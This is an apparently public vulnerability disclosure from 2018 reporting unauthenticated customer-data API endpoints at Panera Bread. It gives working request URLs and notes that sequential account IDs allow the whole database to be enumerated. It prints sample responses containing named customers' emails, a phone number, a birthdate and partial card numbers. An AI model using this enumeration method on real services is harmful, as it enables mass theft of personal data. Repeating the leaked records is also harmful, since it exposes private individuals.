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Massive Breach in Panera Bread


From: Jack Beanstalk <pnrabrdthrwy () gmail com>
Date: Mon, 2 Apr 2018 15:43:17 -0400

7682200f0cd27a4f1a3c2301941d959aae7abf89136c38a4f1ded4d2bb7a67d7

I'd like to report a security vulnerability in Panera Bread's web
application. There is a publicly available, completely unauthenticated
API endpoint that allows anyone to access the following information
about anyone who has ever signed up for an account to order food from
Panera Bread:

1. Username

2. First and last name

3. Email address

4. Phone number

5. Birthday

6. Last four digits of saved credit card number

7. Saved home address

8. Social account integration information

9. Saved user food preferences and dietary restrictions

Here are the API endpoints which you can use to verify this information:

1. https://delivery.panerabread.com/foundation-api/users/by-phone/9140000000

This returns the following JSON:

{"accounts": [{"username":"denys","name":"romona
ruiz","cardNumber":"********6515"},{"username":"mhmulcahy () hotmail com","name":"Marie
Mulcahy","cardNumber":"********5527"},{"username":"fenrny () msn com","name":"F
B","cardNumber":"********7921"},{"username":"sabooky1 () yahoo com","name":"C
Davis","cardNumber":"********7108"},{"username":"jorgeialcalde","name":"Jorge
Alcalde","cardNumber":"********6129"},{"username":"ktennister37 () aol com","name":"Kei
Kino","cardNumber":"********6061"},{"username":"gettingbetter812 () yahoo com","name":"jan
jones","cardNumber":"********8950"},{"username":"kennny","name":"kenny
poteat","cardNumber":"********4412"},{"username":"angelo151","name":"angelo
ianello","cardNumber":"********8386"},{"username":"dblaperch () aol com","name":"Deborah
LaPerch","cardNumber":"********5384"},{"username":"bagnoni1 () optonline net","name":"sadie
bagnoni","cardNumber":"********5144"},{"username":"arsbreva () hotmail com","name":"Marea
needle","cardNumber":"********7488"},{"username":"contessa1234","name":"CONTESSA
SLEDGE","cardNumber":"********6702"},{"username":"lindapam","name":"elizabeth
forlenzo","cardNumber":"********7085"},{"username":"jue-95 () hotmail com","name":"juline
G","cardNumber":"********4220"},{"username":"gleuanter","name":"Leo
Zinder","cardNumber":"********9123"},{"username":"artlaura","name":"arthur
hanson","cardNumber":"********8139"},{"username":"dlongua","name":"denise
longua","cardNumber":"********0102"},{"username":"homestead19-86 () msn com","name":"Sandra
Baglione","cardNumber":"********6851"},{"username":"kilsha22","name":"kicia
fulchek","cardNumber":"********2654"}]}

Note that you can look up usernames/email addresses for Panera Bread
accounts if you know the target's phone number. This returns the
username/email address and last four digits of the saved credit card
of every user who has ever signed up with that phone number.

2. https://delivery.panerabread.com/foundation-api/users/uramp/7382194

This returns the following JSON:

{"customerId":7382194,"username":"abcascio () cox 
net","firstName":"Anthony","lastName":"Cascio","loyalty":{"cardNumber":"603077990852"},"emails":[{"id":23860763,"emailAddress":"abcascio
 () cox 
net","emailType":"Personal","isDefault":true,"isOpt":true,"isVerified":true}],"phones":[{"id":18295989,"phoneNumber":"7032662951","phoneType":"Residential","countryCode":"1","extension":null,"name":null,"isSmsOpt":false,"isCallOpt":false,"isDefault":true,"isValid":true,"smsPreferences":[{"programName":"Delivery","isOpt":false,"isOptPending":false}]}],"isSmsGlobalOpt":false,"isEmailGlobalOpt":true,"isMobilePushOpt":false,"birthDate":{"birthDay":"25","birthMonth":"05","birthYear":"1948"},"userPreferences":{"foodPreferences":[{"code":3,"displayName":"Low
Fat"}],"gatherPreference":{"code":7,"displayName":"Meal with
family"}},"subscriptions":{"subscriptions":[{"subscriptionCode":1,"displayName":"Reward
Reminders & Expiration
Alerts","isSubscribed":false,"tncVersion":null},{"subscriptionCode":2,"displayName":"Panera
Bread Updates & Special
Offers","isSubscribed":false,"tncVersion":null}],"suppressors":[{"suppressionCode":1,"displayName":"Catering","isSuppressed":false},{"suppressionCode":2,"displayName":"CPG","isSuppressed":false}]},"addresses":[],"paymentOptions":{"creditCards":[],"payPals":[],"giftCards":[],"corporateCateringAccounts":[]},"taxExemptions":null,"socialIntegration":null,"favoriteCafes":[]}

In this context, "7382194" is the user's account ID. Panera Bread uses
sequential integers for account IDs, which means that if your goal is
to gather as much information as you can instead about someone, you
can simply increment through the accounts and collect as much as you'd
like, up to and including the entire database.

Hopefully they'll fix this if it gets enough attention.

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